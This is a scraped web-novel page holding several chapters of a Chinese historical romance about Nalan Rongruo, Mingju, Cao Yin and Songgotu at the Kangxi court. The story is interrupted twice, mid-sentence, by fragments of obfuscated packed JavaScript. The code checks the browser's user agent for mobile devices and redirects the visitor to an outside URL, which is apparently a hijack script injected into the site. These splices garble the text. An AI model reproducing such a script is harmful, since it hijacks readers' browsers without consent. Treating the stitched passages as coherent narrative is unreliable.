等到容若出来,明珠春风满面道:“现在惠妃的地位仅次于皇后,作为伯父,本官感到脸上有光。” 容若善念道:“惠儿在后宫站稳脚跟,比起高兴,儿更多的是放心。” “你不觉得索额图冷漠吗?”明珠啧了一下嘴角,“赫舍里皇后失子的时候,他无慈悲;得子的时候,他无动作。就跟是宁愿把家族的荣耀寄托在二等侍卫格尔芬身上,也不在乎皇后一样” “索额图的无动于衷定是假的,阿玛您想啊,皇后娘娘这一胎,是预备太子的有力之选,索额图怎会善罢甘休?等到小阿哥临世,索额图的大动作就来了。” “我明珠就是憎恶皇亲国戚的嘴脸!” “儿替阿玛您打算过了,万一皇上真把皇后娘娘的这一胎立为太子,您只有道喜的份儿,千万不能进言‘为时过早’之类的话。索额图的嘴脸再怎么得意,您也得先忍着,您的官路在皇上手里,不是在皇太子和他的叔姥爷手里。” 明珠焦虑道:“那皇太子也始终是会长大的呀!” 容若把明珠的思维一转,反问:“咱们父子为什么不盼着康熙皇帝长命百岁?” 明珠连连称是。 “有道理,咱们父子得一心向着皇上,才能立于不败之地。” 离开皇宫,明珠父子各骑一马。 在一串马蹄雪印中,明珠先一步问:“儿啊,接下来,你是打算回家还是去别的地方?” “我去曹寅府上。”容若指向分叉口的右方。 “皇上让你去的?”明珠下意识问。 “不是。儿自己想去。” 言罢,容若向阿玛挥了挥手,去往了目的地。 * 进入曹寅府上,容若一眼就看见了摆在正门口的、看着像是上书康熙皇帝所亲题的“禄”字的巨石。 他笑了笑,心想:皇上这个字,是代表着放任曹寅去江南大展身手吗?也是在暗示曹寅,钱和油水可以有,但是厚禄不可多收吗? 绕过花园,就进入了客厅。 容若见曹寅欢天喜地的模样,就觉得年味在他身上表现的格外浓,仿佛自己也受到了感染一般,心情畅快的很。 曹寅摊开一本类似账本的东西,道: “纳兰,我盘点清楚了,江南纺织行当有织布机两万台,从事织造的男女约五万人,以手艺、经营、走货为生的百姓近十五人,年产值折合成白银,约有一千五百万两。” 容若对着那本册子翻了个大致,好些数字,他心里有数。 甚至……连他所不能说的“进纳给明珠大人的部分”,也包含在内。 “如今江南山好水好,工业天下称首,百姓安居乐业,是人人都想去赴任的地方。纳兰你说,等个三年以后,我到了那里,那里是否风光人文依旧?” “万事万物都在变,你去以后,看到的东西肯定跟你今日所想的不一样。等到日后我跟着皇上南巡去了那儿,也是另一番面貌。” “真想在江南大刀阔斧地大干一场啊!”曹寅意气风发,“让曹氏一族无人不知、无人不晓,流芳百世。” “我愿你所愿即所成。”容若复提醒,“可是子清,你到了任上之后,身份是皇上的远派亲信和情报监察官,而不是朝廷命官。一些权力你行使不了,一些决定你做不了。皇上还是把权力牢牢握在手中,让你上奏折,由他亲自批复和裁决。” “我知道。”曹寅仍旧带着一点小乐观,“总归是按照皇上的意思来办事,对错全都由皇上说了算。” “子清你只需保全曹氏一族就好。”容若与曹寅对饮了一杯暖茶,“想来你我都一样,活着的意义,就是为家族和尽量少在皇上面前出错。” “我不善管财也没有经商之能。”曹寅忽然抓住纳兰的手求策,“你说太皇太后和皇上看中了我什么?刺探江南风声的事情,又不是只有我才做的来。” “不会的事情你可以学,难懂的门道你可以悟。”容若一想,“你比我聪明、比我懂得应变、比我善于周旋人情世故,所以我认为太皇太后和皇上看中的正是你这三大优点。” “纳兰,我自己弄明白了一个真相:江宁织造繁荣至今,多靠的是地方大员的支持,朝廷的帮扶只占少数,但是织造局每年向朝廷进献的上品织物却多。这就说明,织造局自带了一股地方作派,像我这种从朝廷下去的人,只怕是步履维艰。” “有你父亲打下的基础,子清你不必过于担忧。最起码咱们大清国内的环境还算融洽,没有受到洋商洋货的冲击。” “洋商洋货?”曹寅不解,“洋人也在织造上面费功夫吗?” “洋人们织造出来的东西叫做:蕾丝。多用在帽子或者裙子上做装饰。我听禹之鼎说,云辞格格是大清使用蕾丝飘带帽子的第一人,帝师南怀仁从比利时弄来给她的。”【注1】 “也是,现在洋人们只在如意馆附近的觉盏馆里面制作玻璃器物,没有把织物的生产业和链条带到大清来,跟旗袍和长衫抗衡。我是该庆幸。” “还有,纳兰你是不晓得,江南的地方官弄出了一种名叫的‘产地税’的东西,私自向丝绸商贾和百姓征税。那些地方官中饱私囊,皇上却一无所知,照这么下去,受苦的百姓只会更加受苦。” “这也是官、商、民之间相互制衡的一种方式,虽然不公平、有人利益受损,但是总体而言,朝廷的损失却不大,反而是省了一批给地方的拨款。” “这不像是纳兰你会得出的见解。” “是吗?”容若无奈地笑了笑,“各种名目的税赋数不胜数,下层百姓哪里分得清——哪些是来自朝廷?哪些是地方官私设?子清你要是捅破了这层窗户纸,江南的地方官难办事,皇上难处理,皆是不值得。” 曹寅跟纳兰关系好,就直白地问了句:“明珠大人呢?” 容若清朗回应道:“阿玛得过江南地方官和大商贾的好处,这点我不说你也明白。但是阿玛跟那些人之间的交易却少,江南的人想入仕,有托的多是徐乾学,徐乾学平日里收的贿赂不少。” “什么叫做德不配位?”曹寅对徐乾学鄙视道,“这就叫‘三徐乱朝纲’!我就不信徐乾学栽不倒。” “有时候我也会不解,江南的文人们和有钱买官的人,难道除了徐乾学,他们就没有别人可以指望的了吗?” 曹寅犀利一问:“你就没有想过,让自己成为他们的指望吗?” 容若颇有自知之明:“我是个满人,修养再好,才学再高,那些人都不认。” 曹寅摇头,“那你平日里还接济那么多从江南来京师的文人做什么?” 容若抿了一口茶,淡雅而笑。 “心境使然,不是为了图回报和被记恩。况且我的交际圈子就那么大:‘花鸟风月楼’当中的各路来客、‘饮水词歌·素菜馆’中的八方食客,以及‘庄周梦蝶字画店’里面的买手鉴客,剩下的,不正是来自江南的那些文人墨客吗?” 曹寅一把将纳兰从椅子上拉起,煽动道:“你真要一走了之,也没人拦得住你。你不是想过访遍天下名楼吗?不是想过登遍天下名山吗?从此你就做个逍遥人,把‘纳兰成德’四个字给忘了,以‘成容若’为名生存于世。” 容若不应。 想来也是可悲,“成容若”三个字的汉人名,只存在于自己的印章当中,也只跟袖云一起鉴画【注2】时用过。 平日里,那枚印章就悄无声息地藏在存放印盒的抽屉里,无谁问起过那个名字的意义,更无人知晓这里面所寄托的跋山涉水、出于卷中景而神往考察地的情怀。 见纳兰心事上头,曹寅义气道:“宫廷外和京师外的风景,我先帮你去看。你不如就在我家里帮我刻个章,到时候我带着刻章同去,一路山水一程人情、一卷江南一处百态,也有你的一份。” 容若说好,就随了曹寅去书房,全神贯注地为他刻章。 半晌过去,印章刻成,上书“荔轩鹅梨”四字。【注3】 “纳兰,你自是风雅,此章既成,我曹寅也定会跟着你不朽于世。” “新荔与鹅梨,我与自清结下的何止是果品之缘?更是一生一世的兄弟之谊啊!” 这便是流传于后世的“纳兰性德为曹寅刻章”的佳话了。 曹寅去往江南之后,一直将这枚印章带在身上,也常与人提及自己与纳兰性德的情分。其将纳兰性德视为“人间之佳友”,情深意笃。 * 下午。 两人一同在收藏室赏鉴文玩的时候,曹寅送给纳兰一个碧玉笔架,说文曲星保佑,祝他文运亨通。 纳兰高兴地收下,玉器打造的东西他都喜欢,更何况是曹寅有备而送的? “我跟太皇太后求恩典说,我成亲的喜事——”曹寅一笑,“等到纳兰公子补殿试高中之后再办。太皇太后说好,到时候明府和曹家同喜同贺,大家都高兴。” 容若一边点头一边感慨:“子清,这三年过的真快啊!一转眼,徐乾学免罚了,我的《通志堂经解》编撰了大半,《渌水亭杂识》已经完全成稿……又到了为纳兰家尽孝的时候。” “分明是你自己的功名,说什么为纳兰家尽孝?”曹寅一拍纳兰的肩膀,“到时候你当你的翰林,明珠大人玩明珠大人的权术,也不至于被别的官僚嫉妒什么。你又不是去当参谋!” “但愿如此。”容若十指交错置于桌面上,心中一许愿,“我在翰林院安安静静做个文职,不给谁添扰。” 有老太太身边的管事丫鬟过来。 “公子,顾家小姐来见。” 容若闻声而起,“子清,我就不打搅你,告辞。” “纳兰,你真不见见顾家小姐?”曹寅叫好友留步,“我将来要娶她,你帮我参合参合。” “好,跟你一同见过顾家小姐后,我再留在你家里吃晚膳如何?我会在老太太面前帮你和顾家小姐多美言几句。” “多谢纳兰兄!” 曹寅行了个标准的汉人礼。 * 索家长公子阿尔吉善出现在索府的当日,索额图和夫人佟佳氏惊讶而迎。 夫妇二人只见: 阿尔吉善一身风雪,风尘仆仆,发辫松垮,带着些胡须茬,就跟是一个侥幸从“虎口余生”的大难不死之人一样。 再看那匹老马,竟然在主人下来的那一瞬间,就瘫倒在地,一动不动,若非鼻孔还出着气,嘴里还着声,真跟死了没区别。 为了避免新年关头晦气,索额图赶紧叫了人来把那匹马拖走。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323559|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 又吩咐府上的大丫鬟道:“去给长公子备衣物、食物和热水,本官真是见不得他那副寒酸落魄、形似野人的模样!” 到底是佟佳氏心善护子,道:“儿啊,先进去……先进去再说。” “等等。”索额图一挥手,叫来管家,“去拿火盆来,本官要亲眼看着长公子跨过火盆、去除了一身霉运之后,才同意他进屋!” 管家照做。 阿尔吉善也不含糊,利索地从火盆上面跳了过去。 他只对索额图问了一句话:“阿玛,你满意了?” * 索家正面的客厅之中。 “额娘,二弟可还好?” “格尔芬现在在皇宫里当差,是皇上身边的二等侍卫。” “那就好,到时候选个良辰吉日,让二弟把亲事办了吧!”阿尔吉善看向索额图,“阿玛不是处处寻喜事吗?次子娶妻就是最大的喜事。” “儿啊,你回来的晚,所以你不知道。”佟佳氏道,“如今赫舍里一族最大的喜事,是皇后娘娘怀了龙胎。” “我还当过完年后阿玛没什么目标可以行进,原来阿玛还手握这么一招大棋和好棋啊?” 看着阿尔吉善带着讽刺的脸,索额图正色道:“本官打算去烧高香,保佑皇后娘娘母子平安,好让赫舍里一族吉星高照。” 佟佳氏一边用手绢擦拭着阿尔吉善脸上的灰尘、一边关切询问:“儿啊,路途遥远,你这是怎么逃回来的?” “额娘别用一个‘逃’字,我是光明正大地反了那些管押罪犯的官兵们,从流放的苦役地当中抬头挺胸走出的!这一路上,我多亏是得了江湖义侠的帮助,才能有足够的盘缠吃喝住宿、供应马粮,最终无事归家。” 索额图冷问:“守城的军爷们怎么没把你扣下?” 阿尔吉善冷应:“ ‘索额图’三个字人面大、官威大。” “儿啊,你回来了就好。你的房间虽然被你阿玛给拆了,但是额娘这就叫人给你重新收拾出一间客房来住。” “谢额娘关心,也足以让我见的阿玛狠心。丢儿保己,残忍无情。” * 索家的饭桌之上,菜肴比平时增加了整整三倍。 原本索额图夫妇以为:阿尔吉善会放开了胃口来大吃特吃,却不想长公子只是有条不紊地选了几样口感相对清淡的菜肴装碗,“优雅矜持”的就跟明珠家“吃素”的纳兰容若一样。 阿尔吉善果敢道:“我想过了,明日我要自请入宫面圣。” “你是想去皇上面前负荆请罪?”索额图放下筷子,“还是耀武扬威,让百官一并见识你‘百折不饶’的本事?” “我在回来的路上,听说了纳兰性德设计国旗的事。所以进宫求皇上给我一个随施琅大人的舰队去征战台岛的机会,立下赫赫战功来光宗耀祖,也好洗洗阿玛你那副虚伪恶臭的嘴脸!” “你这个逆子——!!” “到时候,我一定求皇上将国旗赐入水师营中,当着众水兵战士的面,与施琅大人一并登上战舰,把国旗升起,扬我大清国威,壮我大军雄心。” 索额图把脸色一沉,站了起来。 他指着长子训道:“收复台岛不是小战役,是海战兼陆站,随时可能丧命。” “原来阿玛还在乎我的生死吗?”阿尔吉善冷问,“我要是战死了,阿玛不是正好可以拿此来邀功,为自己加官晋爵吗?” “还好格尔芬没有生出过跟你一致的念头。”索额图咬牙切齿,“本官和你额娘就两个儿子,犯不着用你们的兄弟的命去效忠天子。” “索额图!”阿尔吉善大不敬地直呼父名,“你在官场这些年,到底干成过一件什么事?有搅坏过多少别人的好事?你没点自知之明吗!” 被儿子一激,索额图跌坐在凳子上,猛地踹起气来。 好一会儿,才接上话:“我用十年证明自己不是个好官,他明珠也用十年证明了自己跟我一样:自欺欺人、降心佐君、不折手段、贪赃枉法!” “你们父子都少说两句。”佟佳氏相劝,“康熙皇帝平了三藩之后,下一各大举就是收复台岛,好歹这是利国利民的好事,放在我们家,却演变为争吵的导火索,成何体统?” 索额图把瓷勺子往盘子里重重一搁,发出刺耳的一声响。 “到头来,对面台岛问题,‘明索两党’竟然都要靠‘儿子们的表现’来和睦共处,这钉在史册上就是个笑话!” “怎么会呢?”佟佳氏使了眼色叫丫鬟收拾桌面。 复对夫君客观道:“不管是纳兰性德设计国旗,还是阿尔吉善自请出战,都是为父争光啊!史册肯定是往的好的方向记载。” 夜里,索额图翻来覆去睡不着。 只要一想到阿尔吉善要主动去面圣,就难消怒火。 “逆子!!”索额图从床上坐起。 “什么将功抵过,什么勇往直前,到头来你我父子都是大清的奴才。你要是真得了上战场的机会,指不定明珠会对我索额图当面讥讽:一次又一次地利用儿子,把儿子当作自保和登青云的垫脚石,索额图你真是不配为父!” 【注1】云辞和来自比利时的蕾丝帽子,见第6章。 【注2】容若跟袖云一起鉴画盖章,见第99章。容若个人的印章种类盘点,见第96章。 【注3】 荔轩鹅梨:“荔轩”是曹寅的号,“鹅梨”是容若的别署。 出自纳兰性德写给好友张纯修的书简:德取鹅梨自命,锋棱毕现,有睥睨南国群彦之概,壁垒峥嵘,实欲与角一日之短长也。 118.第118章 一日。 顾贞观坐在茶楼里喝碧螺春,那份清新怡人的茶滋味才上心头,就听见了几个读书人的声音。原来,那些人正打算去徐府给“徐先生”拜个早年。 顾贞观才想过去对那些读书人劝退,却看见半路杀出个程咬金来。 那不速之客道: “我叫洪昇,是大清最擅长写剧本之人,恩师李天馥,恩人张纯修,恩公纳兰容若。我参加科举十五年不中,是国子监的肄业生,你等知道为何吗?正是因为我与徐乾学不和!” “如今你等竟然以徐乾学为尊,不念及座师蔡启僔和司业李天馥,真是识人不清啊!” 那些读书人们面面相觑,不知道如何回应。 顾贞观主动上前道:“原本顾某以为只有自己孤身抗衡于徐乾学,却不想,洪生你也是个明白人啊!” “徐乾学腹中有墨水,但是为人不正派,你知我知,但是他手下的学生不知。” 与顾贞观言罢,洪昇对眼前的那堵人墙发出一声冷笑,“你们要是不信,就散了吧!我也懒得再跟你们多说什么。” 那些读书人却像跟听懂了洪昇的话一般,没有走,只是分散到了四周坐下,等待洪昇说明来意和听取洪昇后续与顾贞观的对话。 “我来此处,没有别的目的。”洪昇一甩长袍的下摆,自信道,“花鸟风月楼的场子在排演孔尚任的戏剧,我不去跟他争。我就带着自己的作品来这茶楼之中,供有缘之人来一同品茶观戏。” “洪生你不知道吗?”书生甲问,“孔尚任的剧本有‘反清复明’之嫌,已经闭门不出、大改十日了!谁也不知道他改的怎么样了。” 洪昇一摆手,骨气铮铮道:“孔尚任这是胆小,不敢得罪纳兰家!” “哟?难不成你就胆大?”书生乙一脸呵呵,“你有本事也写反剧试试——” “我听说纳兰公子的好友曹寅曹侍卫,将在三五年之后到江南去主理江宁织造。到时候我就回钱塘老家去,拿着写完的剧本《长生殿》去找曹寅,让曹寅行个方便,在江南最大的场子里全本排演《长生殿》。” 众书生、众宾客听罢皆惊。 竟不知这洪昇退而求其次,没有了让皇家之人看戏的雄心壮志,反存了回老家排戏就满足了的小愿望。 洪昇见众人反应如此,就自诩道:“剧本剧本,剧烈冲突,以人为本。我称第二,孔尚任不敢称第一!” “孔尚任自称是孔子的后代,又千方百计跟纳兰公子攀上了关系,洪生你自然是不能跟他比。”茶楼老板现身道,“今日我就应了你,把茶楼的场子借给你排戏,万一你的口碑响亮了,就多想想怎么把戏推到康熙皇帝眼前去吧!别尽想着回老家,没出息!” 洪昇一低头,老实道:“我没有演员,没有道具,没有乐师。” 顾贞观做了几声吆喝:“在场的各位茶客看客们,你们有力出力,有本事出本事,有钱出钱,都尽己所能帮帮洪昇吧!没准洪昇只是大器晚成,写剧能力不输孔尚任。” 众人纷纷响应。 很快,演员、资金就陆陆续续到了位,只缺乐师。 茶楼老板开玩笑道:“你可知道?有位名叫沈宛的姑娘弹唱功夫了得,你要是能请上她——” “我知道。”洪昇变得异常清醒,“我请不动她。” * “饮水词歌·素菜馆”的雅室。 可见数枝牡丹斜插瓶中,象征“富贵平安”;另有红苹果和玉如意同放,寓意“平安吉祥”。 容若下意识走过去细看,沈宛笑问他:“你担心这是假花吗?我又不是卢氏,怎会为你准备那些没有鲜活生命的东西?” “是宛卿准备的?”容若反应过来,“我还以为是刘管事的布置。” 沈宛带着“你喜欢吗”的表情,道:“我们汉人过年就讲究这些谐音词来纳福,所以我带着些来给公子,希望公子顺遂如意。” “宛卿的这份祝福,我收下了。”容若点头,“我也祝宛卿:所想即所愿,所求即所得。” 琢磨完那些“汉人过年”的摆件,容若把自己带来的——孔尚任修改过后的《桃花扇》部分稿件给沈宛看。 “孔尚任说是已经进行过大改,但是他的原稿我没看过,现稿倒是还行。就是一些‘很汉人’的笔墨描述,我要请你参合参合,免得偏颇之处触怒龙颜。” “龙颜?”沈宛疑问,“公子打算把这些稿件拿给皇上看?” “对。不是全部,而是部分。” 沈宛提议:“那还不如摘录一些词句出来,只让皇上看最精彩的部分。” “那不行。”容若指出,“去劣挑精,往大了说就是欺君。总归这部戏是上演的,好或者不好,皇上看过后自然心里有数。” 沈宛揽过稿纸,“那我就帮公子看看那些‘很汉人’的东西吧!” “我都整理标记好了,红色笔墨圈出的部分。” “多亏公子细致,省的我再找一遍。” 费了一阵子时间看罢,沈宛对容若道: “要说明目张胆的不利于大清统治的东西,孔尚任没有写;但是我听说孔尚任有个族兄叫孔尚则,在南明王朝里面任刑部郎中,兴许孔尚任能含沙射影地把南明王朝内部的细事写的那么清楚,就是托了族兄的告知。” 容若道:“那些含沙射影如果只是为了衬托男主角侯方域和女主角李香君的爱情便罢,真要歌颂苟延残喘的政权,皇上肯定容不下。” “公子想想看,但凡涉及爱情之间的矛盾冲突,哪能缺了家国情怀?这《桃花扇》的第一卷,往好了说是部历史戏剧,往差了说就是——以感情写国情。公子聪慧,倒是不想在我面前挑明了说,但是作为最懂皇上的人,公子怎会不知皇上看后的反应?” “你的意思是,”容若猜测,“这个剧本还需要再改?” “公子要是觉得这些东西能够直接御览,还会来问我的想法吗?” “宛卿,你说第一卷怎么改好?”容若以笔蘸墨,打算听取建议,“我不懂里面‘很汉人’的东西,也没有被‘兵荒马乱之中,侯李两人的感情波折’所打动。” “这就对了,公子没被打动就对了。”沈宛温和而笑,“公子的情绪无变化,面对皇上的询问定也是无所说。莫不如是叫孔尚任本人去皇上面前亲口说。” “你这个提议不错。我会想个办法、不逾越规矩地把孔尚任带到皇上面前去。” “既然公子决定给孔尚任一个机会,那对剧本的改法,我就直说了——” “好,你说我记。” “主角相遇的场景仔细写,王朝风雨飘摇的铺垫最好少写,南明王朝即将灭亡的情形不要写。还有那句很汉人的诗:团扇摇动一身香,藏袖南国佳人配。” “等等,我怎么没读到那首诗?” 容若难以置信,自己的品鉴水平什么时候那么低下了?连反诗都没发觉。 “有,在第一卷《访翠》,原文是:南国佳人配,休教袖里藏;随郎团扇影,摇动一身香。我做了改动,好让公子明白孔尚任的小心思。” “汉人都爱这样。”容若释然一笑,“张岱先生《湖心亭看雪》如此,虚虚实实,只为煽动明眼人的情绪;孔尚任也是如此,若隐若现,只为重温明王朝余香。” “公子文学造诣高,就帮他改了吧?” “我不改别人的笔墨,因为我尊重写下的笔墨的人。但是我会跟孔尚任说明利害关系,让他自己衡量。” “有余地?” “也有后福。” 宛若二人相视一笑。 * 与容若分别后,沈宛独留“一双人”雅室观品点心。 四方形的盒子里,摆放着两只栩栩如生的天鹅酥。 细看那模样:高贵典雅,精致动人,两两相对,长颈似成心形相组合,可见是出自手艺高超的宫廷御厨之手。 沈宛在心中一一铭记着容若对她的好,女子所爱,并非珠宝首饰,并非胭脂罗裙,词歌与美食也是之一。 今日相处下来,沈宛未听容若提及正妻卢氏,倒是听他说了几次云辞格格。 容若盼着一等公朴尔普早日同意禹之鼎做女儿的上门女婿,毕竟自己和曹寅的婚事都有了着落,伴君之臣三人当中,就差御用画师禹之鼎一人未娶了。可是朴尔普的意思,却不担心女儿嫁不出去,仍旧坚信女儿会嫁入纳兰家。 “我怎么能委屈云辞做二夫人?”容若摇头,“真不知道朴尔普大人在想什么。年华易逝,女子怎么消耗得起?就算是他心心念念认定女婿非我不可,也不能拿一个‘等’字来折腾另一对鸳鸯啊!” “我得公子怜惜我自是高兴。”沈宛小心道,“但是姻缘之事谁也说不准,正妻、侧室、侍妾各有各命运,难保将来朴尔普大人的‘等’字就是错,难保日后官氏格格就不能成为你的夫人。” “不是我消殆自己,我希望我的妻子全都活的比我长,这样她们就能好好养育儿女和为阿玛额娘尽孝。就此年年离别日,我在尘世之外也不会寂寞。” “我答应公子,做一个比公子活得久的女子。” “还是宛卿你最懂我的话的意思,同样的话换了我说给袖云或者尔谖听,她俩定是不愿的。” 另一个让沈宛铭记于心的感动场景,是公子说的一句话: “让你谱曲弹唱,我是千万个不舍得。” 当时两人聊到了《桃花扇》的器乐演奏,容若只说自己不通,但也不想沈宛参与其中,成为衬演的伶人。 “何谓先声夺人?戏剧拉开帷幕以后,都是要先演一段弹唱,才引出主角的。”沈宛告诉容若,“公子不爱看戏,自然是没有坐过场子,不知道老百姓们就爱听曲,然后才是入戏。” “即便是宛卿你做的来,我也不愿你去做。”容若珍惜着沈宛的羽毛,“我喜欢眼前的素雅宛卿,也喜欢出其不意地来到我身边的宛卿,唯独是不想看见戏台帘后——为捧主角而卖力弹唱、为得掌声而炉火纯青、为成一曲而错落冰清的你。” 她对他凝眸而问:“仅仅是谱曲,不在戏台帘后,公子也不许吗?” “嗯,不许。”容若认真地对上她的目光,“我的宛卿的才艺,应该用在雅境雅室和名所之中,而非市井之所。” “公子对我,太执着了;公子待我,太在乎了。以至于给了我一种忘却身份的错觉,好似我可以忘却出身、忘却经历,跟公子走到一块去一样。” “商隐最终未娶歌姬张懿仙,因为她爱的真、付出的重,他无以回报。但我纳兰性德一定会娶才女子沈宛,也是因为沈宛爱的真、付出的重,我以此生回报。” “名份对我而言,得之为幸,不得亦不悲。后世能将‘沈宛’这个名字与‘纳兰性德’并论,已是你我修的莫大福分。” “是啊,惜福之人,必有好报。” 天鹅酥的一角酥皮入口,沈宛感动而垂眸。 她眼眶温温,唯独是对另一只点心不忍碰、也不忍吃。 ——若是泥塑的就好了,就可以永远永远地保存着。 ——我跟容若不是鸳鸯,而是一对互通心意、互惜羽毛的天鹅啊! * 索额图府上。 一家人围坐在小亭台内,打着火锅赏雪吃饭。 格尔芬道:“阿玛你板着脸做什么?皇上准了长兄加入施琅大人的水师备战台岛,是件好事。” “我赫舍里一族不是靠建立战功起家的。”索额图加快了涮羊肉的速度,“也不必让儿子靠战功来扬名立万。” “权术玩弄下来,只有输家没有赢家;皇亲国戚身份盘算下来,只会如履薄冰而无沾光之喜。如此,阿玛你还觉得赫舍里一家能靠这两样‘看似荣耀,实则累赘’的东西来保全吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云辞气问:“妻妾纳兰公子都有了,阿玛您怎么还不死心,非要再等机会把女儿嫁入纳兰家去?” “本官请了最厉害的萨满法师来问,说是三年之后,我纳兰贤婿将会失去卢氏夫人,到时候皇上会安排他娶续弦,那个女子正是云辞你。” “什么叫做失去卢氏夫人?”禹之鼎不禁问,“和离?还是死别?还是卢氏改嫁?明珠大人能允许这样的事情发生吗?” “闭嘴!这儿没你插话的份儿!”朴尔普没好气地转向禹画师,“萨满法师还说,我纳兰贤婿失去卢氏之后能够重新振作,就是多亏了云辞。” “要是萨满法师的话句句能信,”云辞冷笑一声,“那就叫他们去卜测:皇后娘娘腹中的孩子能否被立为皇太子得了。把时间和功夫浪费在言灵儿女私情上,阿玛您也不怕传出去被人笑话!” “我是为了你好,天底下除了纳兰性德,谁都配不上你!” 云辞恨恨道:“敢问阿玛,在萨满法师预言的三年里,您打算让女儿怎么过?” “三年过后,纳兰性德也才二十三岁,年轻着呢!云辞你只要不做出格的事、不得罪皇上、不连累了我瓜尔佳氏一族……阿玛我就谢天谢地了。” “好,那就请阿玛准了女儿登船到西洋去,女儿保证学成而归,三年为期。” 朴尔普刚想训斥一句:“真是不孝!” 就听见禹之鼎道:“也请未来的岳父大人准备一笔钱款,资助在下到东洋去卖画和长见识。在下保证精湛画技,脱胎换骨,叫人刮目相看。不负三年韶华。” “你俩真是反了!”朴尔普气的跺脚,“一个往西,一个往东,叫本官如何向皇上交待?” “阿玛直说就是:云辞和禹之鼎没法在大清呆下去了,还不如各奔东西,三年后再回来看大清的模样!” “你是非跟皇上做对不可吗?”朴尔普嗔怒,“大清江山在康熙皇帝的统治下,只会越来越好。你这副不看好皇上的样子,就跟是皇上没法让百姓安居乐业、没法让大清定鼎中原似的,简直放肆!” “皇上年轻气盛,打完三藩打台岛,打完台岛打北境沙俄,等到沙俄打完了,他就亲征打噶尔丹……大清何时有宁日?女儿哪句有说错?” “顺者昌逆者亡,你最好谨记这条道理!”朴尔普语重心长,“别到时候一句不中听的话,惹气皇上,害了瓜尔佳氏一族。” 管家领着几个家丁进来。 “启禀老爷,小的们已经把禹画师的东西都收拾和清理妥当了,就是地面上的这些。请老爷意思,是否现在就把禹画师撵出府去?” “禹之鼎走不得!”朴尔普将雷霆恼存于胸,“他这一走,不是走出本官府邸,而是走向日本!” 管家迟疑:“那这几个包袱——” “拿回原本的房间去!”朴尔普往外一指,“你们几个都机灵一点,即日起,禹之鼎除了正常入宫奉职,一旦行踪可疑,就立刻来向本官汇报。” 众家丁应道:“遵命。” 禹之鼎神色激动,心中喜悦,故意道:“多谢未来的岳父大人挽留。” 挽留?笑话。 朴尔普一刮鼻子,“本官是迫不得已——” 无可奈何? “岳父”大人分明是:自以为是,急中生智。 禹之鼎热血沸腾道:“年夜饭上,在下一定好好给未来的岳父大人长脸,不在瓜尔佳氏宗亲们面前出差池。” 见禹之鼎一腔豪情,朴尔普喜怒各半,显摆架子道:“本官什么时候答应过你,准许你一并着席吃年夜饭了?” 禹之鼎像是个赢家一般,朗声道:“在下发誓,绝不辜负未来的岳父大人的期待!” “你——!!” 朴尔普终究是做了罢。 119.第119章 朝堂之上。 明珠站出一步:“臣有喜报要奏明皇上。” 索额图冷眼一扫,心想:明珠你该不会是要当着天子和群臣的面,来大说特说你家贵公子设计的大清国旗吧? 康熙皇帝道:“讲——” 明珠清了一下嗓子,大声道:“臣向皇上举荐的能人靳辅,治水六载,已经大大有了成果。” 康熙皇帝果然龙颜大悦,“朕励精图治,从未松懈过河运与漕运之事,朕当年发了三大愿,至今还刻在朝堂的柱子呢!”【注1】 说罢,康熙皇帝向御前侍卫一递眼色。 御前侍卫就来到了刻字的柱子前,威武清肃地对众大臣道: “各位大人,此处印迹,正是当今天子功在千秋的证明!大河通畅,漕运无忧;河灾不犯,百姓安乐。皇上远见,无人能及。” 满朝文武立刻齐声道:“皇上圣明,高瞻远瞩。臣等恭喜皇上,贺喜皇上,与天下万民同乐!” 康熙皇帝朝气蓬勃道: “朕每日充满干劲,清清楚楚地知道自己接下来要为大清所走的每一步路。所谓政通人和,说得就是:皇帝主政清明,百姓们的日子才能过的好。列位臣工,你等好好问问自己,这一年来、这多年以来,是否忠心耿耿为朕?是否真心盼切于朕?是否诚心奉公于朕?若是,大清就就没有白养活你们。” “靳辅治水有功,朕要将他连升三级,主理工部河运之事。另外,与靳辅一同竭尽全力修筑维护河道的兵吏们,朕也要赏赐他们布匹与钱财,具体数目,就由户部核对之后,再上报朕来定夺。” “明珠荐才有功,也应嘉奖。”康熙皇帝一斟酌,得送纳兰性德稀罕的东西才行,“朕赐纳兰一家亲笔字一幅。” “臣替一家子叩谢皇上!” 明珠朝天子一拜。 “启禀皇上,臣有话要说。” “索额图,你是有话要说,还是有异议?” “纳兰父子看似举荐对了人才,实际上是投皇上所好。现在天下漕运河运畅通,一切都是皇上的功劳,一切得益于大河沿岸官民的配合,与纳兰父子何关?皇上的赏赐之举一出,是不是意味着:日后只要是安排一个‘人才’到有需要的地方去,一旦那个‘人才’成了事,就要三方大赏【注2】?” “朕赏的是‘功’而不是‘臣’,索大人难道不明白?” “皇上执意如此,臣无话可说。”索额图挤出了一脸悲哀,“只恐往后,皇上的‘恩赏’与‘回馈’不知道会被明珠如何利用,不可不先做提防。” “索大人要是不放心,逮着本官的漏洞来弹劾就是。”明珠波澜不惊,“何须在皇上面前惺惺作态?就跟自己没有过类似的‘任人之举’一样。” “皇上。”索额图进言,“靳辅治水是大任,大任能成,加官晋爵理所当然,臣不与明珠计较这个。臣就是容不下明珠日后会利用类似手段,背着皇上操纵地方任命权。“ 康熙皇帝把目光一沉,“明珠,你的官路、你儿子的前途、你们纳兰家的荣辱,到底取决于你,还是取决于朕,自己仔细掂量清楚!“ “臣明珠,谢皇上明示。” * 纳兰容若获得康熙皇帝允许后,将孔尚任带入皇宫的书房候驾。 此前,孔尚任按照纳兰和沈宛的意见,对剧本里面“很汉人”的东西,尤其是咬文嚼字稍作变通之后,就有“反清崇明”之意的诗词做了大量删改。 